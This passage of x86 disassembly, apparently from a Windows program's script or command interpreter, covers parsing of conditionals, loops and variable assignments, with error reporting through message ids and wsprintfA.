mov edx, dword [ebp - 0x14]
mov ecx, dword [edx + 0x40]
push dword [ecx]
push 0
push 0xd5d
call fcn.0042c771
push eax
push 0x5803c4
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4b18a8
cmp dword [ebp - 0x34], 2
jne 0x4b1847
mov eax, dword [ebp - 0x14]
mov edx, dword [eax + 0x40]
push dword [edx]
push 0
push 0xd54
call fcn.0042c771
push eax
push 0x5803c4
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4b18a8
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx + 0x40]
push dword [eax]
push 0
push 0xd4d
call fcn.0042c771
push eax
push 0x5803c4
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4b18a8
cmp dword [ebp - 0x3c], 0
je 0x4b1882
push 0x5803c4
push 0xd5e
call fcn.0042c771
jmp 0x4b18a8
cmp dword [ebp - 0x34], 2
jne 0x4b1899
push 0x5803c4
push 0xd5b
call fcn.0042c771
jmp 0x4b18a8
push 0x5803c4
push 0xd4e
call fcn.0042c771
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
cmp dword [ebp - 0xbc], 1
jne 0x4b1935
cmp dword [ebp + 0x54], 0
je 0x4b1935
mov ecx, dword [ebp - 0x14]
push dword [ecx]
call fcn.0054e28c
pop ecx
add eax, 0xa
push eax
call fcn.00559d70
pop ecx
mov edx, dword [ebp + 0x54]
mov dword [edx], eax
mov eax, dword [ebp + 0x54]
cmp dword [eax], 0
jne 0x4b18f8
push 2
push 0
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov ecx, dword [ebp + 0x54]
mov eax, dword [ecx]
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
push edi
mov esi, eax
mov edi, ecx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
jmp 0x4b1935
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4b1944
mov eax, dword [ebp - 0x14]
cmp dword [eax + 8], 0
jne 0x4b1927
cmp dword [ebp - 0x14], 0
je 0x4b195c
push dword [ebp - 0x30]
push 0
push dword [ebp - 0x14]
call fcn.004c6cfe
mov dword [ebp - 0x14], eax
jmp 0x4b1962
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], edx
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x14], 0
jne 0x4b19b4
cmp dword [ebp - 0x3c], 0
je 0x4b1984
push 0x5803c4
push 0xd5f
call fcn.0042c771
jmp 0x4b19aa
cmp dword [ebp - 0x34], 2
jne 0x4b199b
push 0x5803c4
push 0xd55
call fcn.0042c771
jmp 0x4b19aa
push 0x5803c4
push 0xd4f
call fcn.0042c771
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
xor edx, edx
mov dword [ebp - 0x34], edx
xor ebx, ebx
xor eax, eax
mov dword [ebp - 0xc0], eax
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx], 0x26
jne 0x4b1a1c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx + 1], 0x26
jne 0x4b1a1c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
cmp byte [eax + 2], 0
jne 0x4b1a1c
cmp dword [ebp - 0xbc], 0
jne 0x4b19f6
mov ebx, 1
jmp 0x4b1a7a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov byte [edx], 0x69
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov byte [eax + 1], 0x66
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
mov byte [ecx + 2], 0
mov dword [ebp - 0xc0], 1
jmp 0x4b1a7a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx], 0x7c
jne 0x4b1a7a
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
cmp byte [eax + 1], 0x7c
jne 0x4b1a7a
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx + 2], 0
jne 0x4b1a7a
cmp dword [ebp - 0xbc], 1
jne 0x4b1a4c
mov ebx, 2
jmp 0x4b1a7a
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
mov byte [edx], 0x69
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov byte [eax + 1], 0x66
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
mov byte [ecx + 2], 0
mov dword [ebp - 0xbc], 1
mov dword [ebp - 0xc0], 1
test ebx, ebx
je 0x4b1bcf
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4b1b7f
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx], 0x28
jne 0x4b1af2
xor ecx, ecx
mov dword [edi], ecx
cmp dword [ebp - 0x14], 0
je 0x4b1b75
mov eax, dword [ebp - 0x14]
mov ebx, dword [eax]
cmp byte [ebx], 0x7b
jne 0x4b1ac6
cmp byte [ebx + 1], 0
je 0x4b1b75
push dword [edi]
push ebx
call fcn.004e635a
mov dword [edi], eax
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [edi], 0
je 0x4b1b75
cmp dword [ebp - 0x14], 0
jne 0x4b1ab2
jmp 0x4b1b75
cmp dword [ebp - 0x14], 0
je 0x4b1b75
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx], 0x28
je 0x4b1aa4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
cmp byte [eax], 0x7b
jne 0x4b1b17
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx + 1], 0
je 0x4b1b75
cmp ebx, 1
jne 0x4b1b3c
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx], 0x7c
jne 0x4b1b3c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
cmp byte [eax + 1], 0x7c
jne 0x4b1b3c
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx + 2], 0
je 0x4b1b75
cmp ebx, 2
jne 0x4b1b61
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx], 0x26
jne 0x4b1b61
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
cmp byte [eax + 1], 0x26
jne 0x4b1b61
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx + 2], 0
je 0x4b1b75
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4b1af8
cmp dword [ebp - 0x14], 0
jne 0x4b19b9
cmp dword [ebp - 0xbc], 0
je 0x4b1bcf
cmp dword [ebp - 0x3c], 0
je 0x4b1b9f
push 0x5803c4
push 0xd60
call fcn.0042c771
jmp 0x4b1bc5
cmp dword [ebp - 0x34], 2
jne 0x4b1bb6
push 0x5803c4
push 0xd56
call fcn.0042c771
jmp 0x4b1bc5
push 0x5803c4
push 0xd50
call fcn.0042c771
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0xbc], 0
jne 0x4b1ddc
cmp dword [ebp - 0x14], 0
je 0x4b1d88
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx], 0x7b
jne 0x4b1d88
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx + 1], 0
jne 0x4b1d88
push dword [ebp - 0x18]
push dword [ebp - 0x20]
call fcn.004ab3db
mov ebx, eax
test ebx, ebx
jne 0x4b1c5b
cmp dword [ebp - 0x3c], 0
je 0x4b1c2b
push 0x5803c4
push 0xd61
call fcn.0042c771
jmp 0x4b1c51
cmp dword [ebp - 0x34], 2
jne 0x4b1c42
push 0x5803c4
push 0xd57
call fcn.0042c771
jmp 0x4b1c51
push 0x5803c4
push 0xd51
call fcn.0042c771
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
push dword [ebp + 0x20]
lea edx, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x20]
push ecx
lea eax, [ebp - 0x1c]
push eax
push ebx
call fcn.004ab445
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0
jne 0x4b1cc6
cmp dword [ebp - 0x3c], 0
je 0x4b1c96
push 0x5803c4
push 0xd62
call fcn.0042c771
jmp 0x4b1cbc
cmp dword [ebp - 0x34], 2
jne 0x4b1cad
push 0x5803c4
push 0xd58
call fcn.0042c771
jmp 0x4b1cbc
push 0x5803c4
push 0xd52
call fcn.0042c771
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
cmp dword [ebp - 0x18], 0
je 0x4b60b0
mov ecx, dword [ebp - 0x18]
cmp dword [ecx + 0x1c], 0
jne 0x4b60b0
cmp dword [ebp - 0x18], 0
je 0x4b60b0
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x1c], 0
jne 0x4b60b0
mov edx, dword [ebp - 0x18]
mov ebx, dword [edx]
jmp 0x4b1cfc
inc ebx
cmp byte [ebx], 0x20
je 0x4b1cfb
cmp byte [ebx], 0
jne 0x4b1d11
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x40]
mov dword [ebp - 0x18], edx
jmp 0x4b1cdd
cmp dword [ebp - 0x20], 0
je 0x4b1d20
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4b1d5b
cmp dword [ebp - 0x1c], 0
je 0x4b1d35
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
cmp dword [ebp - 0x18], 0
je 0x4b1d44
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x40]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4b60b0
mov edx, dword [ebp - 0x18]
cmp dword [edx + 0x1c], 0
jne 0x4b60b0
cmp dword [ebp - 0x3c], 0
je 0x4b1d7c
cmp dword [ebp - 0x20], 0
je 0x4b1d6d
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x40], ecx
xor eax, eax
mov dword [ebp - 0x3c], eax
xor edx, edx
mov dword [ebp - 0x34], edx
jmp 0x4b0c8c
mov dword [ebp - 0x34], 2
jmp 0x4b0c8c
cmp dword [ebp - 0x3c], 0
je 0x4b1d9a
xor ecx, ecx
mov dword [ebp - 0x3c], ecx
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x4b1da1
mov dword [ebp - 0x34], 2
mov esi, dword [ebp - 0x14]
test esi, esi
je 0x4b6047
mov eax, dword [esi]
cmp byte [eax + 1], 0
jne 0x4b1dd0
mov edx, dword [esi]
cmp byte [edx], 0x7b
je 0x4b6047
mov ecx, dword [esi]
cmp byte [ecx], 0x7d
jne 0x4b1dd0
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x4b6047
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b1dac
jmp 0x4b6047
cmp dword [ebp - 0xc0], 0
jne 0x4b1f99
cmp dword [ebp - 0x3c], 0
je 0x4b1f99
xor edx, edx
mov dword [ebp - 0x3c], edx
xor ecx, ecx
mov dword [ebp - 0xc8], ecx
xor eax, eax
mov dword [edi], eax
mov esi, dword [ebp - 0x20]
test esi, esi
je 0x4b1e33
push 0
push dword [edi]
push dword [esi]
call fcn.004e61b5
mov dword [edi], eax
cmp dword [edi], 0
jg 0x4b1e22
mov esi, dword [ebp - 0x18]
jmp 0x4b1e33
mov dword [ebp - 0xc8], 1
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b1e0b
test esi, esi
jne 0x4b1e6a
cmp dword [ebp - 0x18], 0
je 0x4b1e6a
mov eax, dword [ebp - 0x18]
mov esi, dword [eax + 0x40]
test esi, esi
je 0x4b1e6a
push 0
push dword [edi]
push dword [esi]
call fcn.004e61b5
mov dword [edi], eax
cmp dword [edi], 0
jle 0x4b1e6a
mov dword [ebp - 0xc8], 1
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b1e47
test esi, esi
jne 0x4b1e87
push 0x5803c4
push 0xd62
call fcn.0042c771
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov dword [ebp - 0xcc], esi
xor edx, edx
mov dword [edi], edx
cmp dword [ebp - 0x1c], 0
je 0x4b1ec1
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x4b1ec1
push 6
push 0x569035
push dword [esi]
call fcn.0054e4e8
add esp, 0xc
test eax, eax
jne 0x4b1eba
inc dword [edi]
cmp esi, dword [ebp - 0x20]
je 0x4b1ec1
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b1e9e
cmp dword [ebp - 0x20], 0
je 0x4b1ed6
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x24]
dec edx
mov dword [ebp - 0xc4], edx
jmp 0x4b1ee2
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x24]
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0x20], 0
je 0x4b1f26
cmp dword [ebp - 0xc8], 0
jne 0x4b1f26
push 0
push 0x56903d
push 0
call fcn.004c6a18
mov dword [ebp - 0xd0], eax
mov edx, dword [ebp - 0xd0]
mov dword [edx + 0x24], 0xfffffc19
push dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x20]
push dword [ecx + 0x40]
push dword [ebp - 0x1c]
call fcn.004c6cfe
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x4b1f52
mov eax, dword [esi + 0x2c]
cmp eax, dword [ebp - 0xcc]
jne 0x4b1f4b
mov edx, dword [esi + 0x24]
cmp edx, dword [ebp - 0xc4]
jne 0x4b1f4b
mov ecx, dword [esi + 0x30]
cmp ecx, dword [ebp - 0x18]
je 0x4b1f52
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b1f2d
test esi, esi
jne 0x4b1f99
push 0
push 0
push 0x569040
push dword [ebp - 0x38]
call fcn.004c6b3f
mov esi, eax
test esi, esi
je 0x4b1f99
mov dword [ebp - 0x38], esi
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x18]
mov dword [eax + 0x30], edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0xc4]
mov dword [ecx + 0x24], eax
mov edx, dword [ebp - 0x38]
mov ecx, dword [ebp - 0xcc]
mov dword [edx + 0x2c], ecx
mov eax, dword [ebp - 0x38]
mov edx, dword [edi]
mov dword [eax + 8], edx
cmp dword [ebp - 0x38], 0
je 0x4b20c6
mov esi, dword [ebp - 0x38]
test esi, esi
je 0x4b20c6
mov eax, dword [esi + 0x2c]
cmp eax, dword [ebp - 0x18]
jne 0x4b20ab
cmp dword [ebp - 0x20], 0
je 0x4b2063
mov edx, dword [ebp - 0x40]
cmp edx, dword [ebp - 0x18]
je 0x4b20c6
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x24], 0xfffffc19
je 0x4b1feb
mov eax, dword [ebp - 0x20]
mov edx, dword [eax + 0x24]
cmp edx, dword [esi + 0x24]
jne 0x4b20ab
push 0x569047
mov ecx, dword [ebp - 0x20]
push dword [ecx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b20ab
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x24], 0xfffffc19
jne 0x4b2018
mov ebx, 1
jmp 0x4b2027
cmp dword [esi + 0x10], 0
je 0x4b2025
mov ebx, 2
jmp 0x4b2027
xor ebx, ebx
cmp ebx, 2
je 0x4b20ab
mov eax, dword [esi + 0x30]
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x1c]
push edx
call fcn.004c6e49
xor ecx, ecx
mov dword [ebp - 0x20], ecx
push esi
push dword [ebp - 0x38]
call fcn.004c6d5e
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [eax + 0xc], 1
mov edx, dword [ebp - 0x38]
mov dword [edx + 0x10], ebx
jmp 0x4b0c8c
cmp dword [ebp - 0x18], 0
je 0x4b20ab
mov ecx, dword [ebp - 0x18]
mov eax, dword [ecx + 0x24]
cmp eax, dword [esi + 0x24]
jne 0x4b20ab
push 0x56904a
mov edx, dword [ebp - 0x18]
push dword [edx]
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b20ab
mov ecx, dword [esi + 0x30]
mov dword [ebp - 0x18], ecx
push esi
push dword [ebp - 0x38]
call fcn.004c6d5e
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [eax + 0xc], 2
jmp 0x4b0c8c
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b1fae
jmp 0x4b20c6
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4b20e1
mov edx, dword [ebp - 0x14]
mov ecx, dword [edx]
cmp byte [ecx], 0x7b
jne 0x4b20e1
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
cmp byte [edx + 1], 0
je 0x4b20b8
cmp dword [ebp - 0x14], 0
je 0x4b6047
lea ecx, [ebp + 0x2c]
push ecx
lea eax, [ebp - 0x6c]
push eax
mov edx, dword [ebp - 0x14]
push dword [edx]
call fcn.004e5454
mov ebx, eax
cmp byte [ebx], 0
je 0x4b6047
cmp byte [ebx], 0x76
je 0x4b2116
cmp byte [ebx], 0x56
jne 0x4b2464
cmp byte [ebx + 1], 0x61
je 0x4b2126
cmp byte [ebx + 1], 0x41
jne 0x4b2464
cmp byte [ebx + 2], 0x72
je 0x4b2136
cmp byte [ebx + 2], 0x52
jne 0x4b2464
cmp byte [ebx + 3], 0
jne 0x4b2464
xor eax, eax
mov dword [ebp - 0xd4], eax
mov edx, dword [ebp + 0x20]
mov byte [edx], 0
mov ecx, dword [ebp - 0x14]
mov esi, dword [ecx + 0x40]
test esi, esi
je 0x4b2184
mov eax, dword [ebp + 0x20]
cmp byte [eax], 0
je 0x4b2170
push 0x56904d
push dword [ebp + 0x20]
call fcn.0054e1b0
add esp, 8
push dword [esi]
push dword [ebp + 0x20]
call fcn.0054e1b0
add esp, 8
mov esi, dword [esi + 0x40]
test esi, esi
jne 0x4b2158
xor edx, edx
mov dword [ebp - 4], edx
xor ecx, ecx
mov dword [ebp - 0x94], ecx
mov ebx, dword [ebp + 0x20]
jmp 0x4b241a
inc ebx
cmp byte [ebx], 0x20
je 0x4b219b
cmp byte [ebx], 0
je 0x4b2427
cmp byte [ebx], 0x2d
jne 0x4b21dd
cmp byte [ebx + 1], 0x73
jne 0x4b21dd
cmp byte [ebx + 2], 0x20
jne 0x4b21dd
mov dword [ebp - 0xd4], 1
mov byte [ebx], 0x20
mov byte [ebx + 1], 0x20
jmp 0x4b21cf
inc ebx
cmp byte [ebx], 0x20
je 0x4b21ce
cmp byte [ebx], 0
je 0x4b2427
xor esi, esi
cmp byte [ebx], 0x25
jne 0x4b22fc
cmp byte [ebx + 1], 0
je 0x4b22fc
mov dword [ebp - 0x94], ebx
inc ebx
cmp byte [ebx], 0
je 0x4b2427
inc ebx
jmp 0x4b2215
cmp byte [ebx], 0x2c
jne 0x4b2214
push ebx
call fcn.004b0873
test eax, eax
jne 0x4b221f
inc ebx
mov al, byte [ebx]
test al, al
je 0x4b221f
cmp al, 0x20
jne 0x4b2205
cmp byte [ebx], 0x20
jne 0x4b22fc
jmp 0x4b222b
inc ebx
cmp byte [ebx], 0x20
je 0x4b222a
cmp byte [ebx], 0x3d
jne 0x4b22fc
cmp byte [ebx + 1], 0x20
jne 0x4b22fc
mov byte [ebx], 0x20
inc ebx
cmp byte [ebx], 0x20
jne 0x4b22fc
inc ebx
jmp 0x4b22f3
cmp byte [ebx], 0x2c
jne 0x4b2269
push ebx
call fcn.004b0873
test eax, eax
jne 0x4b22fc
cmp byte [ebx], 0x24
jne 0x4b22ed
cmp byte [ebx + 1], 0
je 0x4b22ed
xor edx, edx
mov dword [edi], edx
inc ebx
jmp 0x4b22d3
cmp al, 0x20
je 0x4b22d9
cmp byte [ebx], 0x2c
jne 0x4b228e
push ebx
call fcn.004b0873
test eax, eax
jne 0x4b22d9
cmp byte [ebx], 0x28
jne 0x4b22c8
inc ebx
mov dword [edi], 1
jmp 0x4b22b1
cmp al, 0x28
jne 0x4b22a4
inc dword [edi]
jmp 0x4b22b0
cmp byte [ebx], 0x29
jne 0x4b22b0
dec dword [edi]
cmp dword [edi], 0
jle 0x4b22bc
inc ebx
mov al, byte [ebx]
test al, al
je 0x4b22bc
cmp dword [edi], 0
jne 0x4b229c
cmp byte [ebx], 0
je 0x4b22d9
inc ebx
mov dword [edi], 1
cmp dword [edi], 0
jne 0x4b22d9
cmp byte [ebx], 0
je 0x4b22d9
inc ebx
mov al, byte [ebx]
test al, al
jne 0x4b227b
cmp byte [ebx], 0
je 0x4b22fc
cmp byte [ebx], 0x2c
jne 0x4b22ed
push ebx
call fcn.004b0873
test eax, eax
jne 0x4b22fc
cmp byte [ebx], 0
je 0x4b22fc
inc ebx
cmp byte [ebx], 0
jne 0x4b2256
test esi, esi
je 0x4b2319
push 0x5803c4
push 0xd5a
call fcn.0042c771
xor edx, edx
mov dword [ebp - 0x54], edx
jmp 0x4b60b0
push 0x2c
push ebx
call fcn.0054e1ec
add esp, 8
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
je 0x4b2374
push dword [ebp - 0x98]
call fcn.004b0873
test eax, eax
je 0x4b2353
mov ecx, dword [ebp - 0x98]
mov byte [ecx], 0
inc dword [ebp - 0x98]
jmp 0x4b2374
push 0x2c
mov eax, dword [ebp - 0x98]
inc eax
push eax
call fcn.0054e1ec
add esp, 8
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0
jne 0x4b2333
cmp dword [ebp - 0x94], 0
je 0x4b2406
mov edx, dword [ebp - 0x94]
cmp byte [edx], 0
je 0x4b2406
cmp dword [ebp - 0xd4], 0
je 0x4b23ad
push dword [ebp - 0x94]
push str.set__ls__s
push dword [ebp + 0x1c]
call sub.USER32.dll_wsprintfA
add esp, 0xc
jmp 0x4b23c3
push dword [ebp - 0x94]
push str.set__l__s
push dword [ebp + 0x1c]
call sub.USER32.dll_wsprintfA
add esp, 0xc
push 0
push dword [ebp + 0x1c]
push dword [ebp - 4]
call fcn.004c6a18
mov esi, eax
test esi, esi
jne 0x4b23f7
lea eax, [ebp - 4]
push eax
call fcn.004c6e49
push 2
push str.variable
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
mov dword [ebp - 4], esi
mov edx, dword [ebp - 4]
mov ecx, dword [edx + 0x44]
mov eax, dword [ebp - 0x44]
mov dword [ecx + 0x24], eax
cmp dword [ebp - 0x98], 0
je 0x4b2427
mov ebx, dword [ebp - 0x98]
cmp byte [ebx], 0
je 0x4b2427
test ebx, ebx
je 0x4b2427
cmp byte [ebx], 0
jne 0x4b219c
cmp dword [ebp - 4], 0
je 0x4b6047
cmp dword [ebp - 0x20], 0
je 0x4b2456
push dword [ebp - 4]
mov eax, dword [ebp - 0x20]
push dword [eax + 0x40]
push dword [ebp - 0x1c]
call fcn.004c6cfe
mov edx, dword [ebp - 0x20]
mov ecx, dword [edx + 0x40]
mov dword [ebp - 0x20], ecx
jmp 0x4b0c8c
mov eax, dword [ebp - 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
jmp 0x4b0c8c
cmp byte [ebx], 0x77
je 0x4b246e
cmp byte [ebx], 0x57
jne 0x4b248e
push 0x569071
push ebx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b248e
xor edx, edx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 1
jmp 0x4b24b6
cmp byte [ebx], 0x69
je 0x4b249c
cmp byte [ebx], 0x49
jne 0x4b25c9
cmp byte [ebx + 1], 0x66
je 0x4b24ac
cmp byte [ebx + 1], 0x46
jne 0x4b25bf
cmp byte [ebx + 2], 0
jne 0x4b25bf
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4b2511
cmp dword [ebp - 0x3c], 0
je 0x4b24e1
push 0x5803c4
push 0xd5f
call fcn.0042c771
jmp 0x4b2507
cmp dword [ebp - 0x34], 2
jne 0x4b24f8
push 0x5803c4
push 0xd55
call fcn.0042c771
jmp 0x4b2507
push 0x5803c4
push 0xd4f
call fcn.0042c771
xor ecx, ecx
mov dword [ebp - 0x54], ecx
jmp 0x4b60b0
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x14]
call fcn.004ab56f
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x20]
cmp byte [eax], 0
jne 0x4b257c
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x14], edx
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x3c], 0
je 0x4b254c
push 0x5803c4
push 0xd5c
call fcn.0042c771
jmp 0x4b2572
cmp dword [ebp - 0x34], 2
jne 0x4b2563
push 0x5803c4
push 0xd53
call fcn.0042c771
jmp 0x4b2572
push 0x5803c4
push 0xd4c
call fcn.0042c771
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
push 0x20
push dword [ebp + 0x20]
call fcn.004e57b7
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4b25a7
push 2
push 0x569078
push 0
push 0
call fcn.00479438
mov dword [ebp - 0x54], eax
jmp 0x4b60b0
cmp dword [ebp - 0x30], 0
jne 0x4b25b3
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], 1
jmp 0x4b26d4
xor ecx, ecx
mov dword [ebp - 0x34], ecx
jmp 0x4b26d4
cmp byte [ebx], 0x65
je 0x4b25d7
cmp byte [ebx], 0x45
jne 0x4b26ca
cmp dword [ebp - 0x3c], 0
je 0x4b25ec
xor eax, eax
mov dword [ebp - 0x34], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
jmp 0x4b26d4
cmp dword [ebp - 0x34], 2
jne 0x4b2658
push 0x569082
push ebx
call fcn.0054e450
add esp, 8
test eax, eax
je 0x4b24b6
push 0x56908a
push ebx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b2651
push dword [ebp - 0x14]
push dword [ebp - 0x14]
call fcn.004c6c7e
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x4b2647
push 0x5803c4
push 0xd55
call fcn.0042c771
xor ecx, ecx
mov dword [ebp - 0x54], ecx
jmp 0x4b60b0
xor eax, eax
mov dword [ebp - 0x34], eax
jmp 0x4b1510
xor edx, edx
mov dword [ebp - 0x34], edx
jmp 0x4b26d4
push str.elseif
push ebx
call fcn.0054e450
add esp, 8
test eax, eax
je 0x4b267c
push str.else
push ebx
call fcn.0054e450
add esp, 8
test eax, eax
jne 0x4b26c3
push dword [ebp - 0x18]
push dword [ebp - 0x20]
call fcn.004ab3db
mov ebx, eax
test ebx, ebx
je 0x4b26a2
push dword [ebp + 0x20]
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x20]
push edx
lea ecx, [ebp - 0x1c]
push ecx
push ebx
call fcn.004ab445
cmp dword [ebp - 0x18], 0
je 0x4b60b0
mov eax, dword [ebp - 0x18]
cmp dword [eax + 0x1c], 0
jne 0x4b60b0
xor edx, edx
mov dword [ebp - 0x34], edx
jmp 0x4b6047
xor ecx, ecx
mov dword [ebp - 0x34], ecx
jmp 0x4b26d4
xor eax, eax
mov dword [ebp - 0x34], eax
xor edx, edx
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x24], 0
jne 0x4b26eb
push 0
push 0x56909e
push 0
call fcn.004c6a18
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x4b270c
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov dword [ecx + 0x2c], eax
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp + 0xc]
mov dword [edx + 0x30], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + 0x48]
mov dword [eax + 0x40], edx
cmp dword [ebp - 0xb0], 0
je 0x4b2722
mov ecx, dword [ebp + 0x60]
xor eax, eax
mov dword [ecx + 0x1c8c], eax
jmp 0x4b272e
mov edx, dword [ebp + 0x60]
mov ecx, dword [ebp + 0x34]
mov dword [edx + 0x1c8c], ecx
push dword [ebp + 0x60]
push dword [ebp + 0x5c]
push dword [ebp + 0x58]
push dword [ebp + 0x4c]
push dword [ebp - 0x24]
push dword [ebp + 0x44]
push dword [ebp - 0x44]
push dword [ebp + 0x38]
push dword [ebp + 0x34]
push dword [ebp + 0x30]
mov eax, dword [ebp + 0x18]
inc eax
push eax
push dword [ebp + 0x2c]
push dword [ebp - 0x78]
push dword [ebp + 0x28]
lea edx, [ebp - 0x30]
push edx
lea ecx, [ebp - 0x20]
push ecx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x58]
push dword [ebp + 0x54]
push dword [ebp + 0x50]
lea edx, [ebp - 0x60]
push edx
push dword [ebp - 0x50]
push dword [ebp - 0x84]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
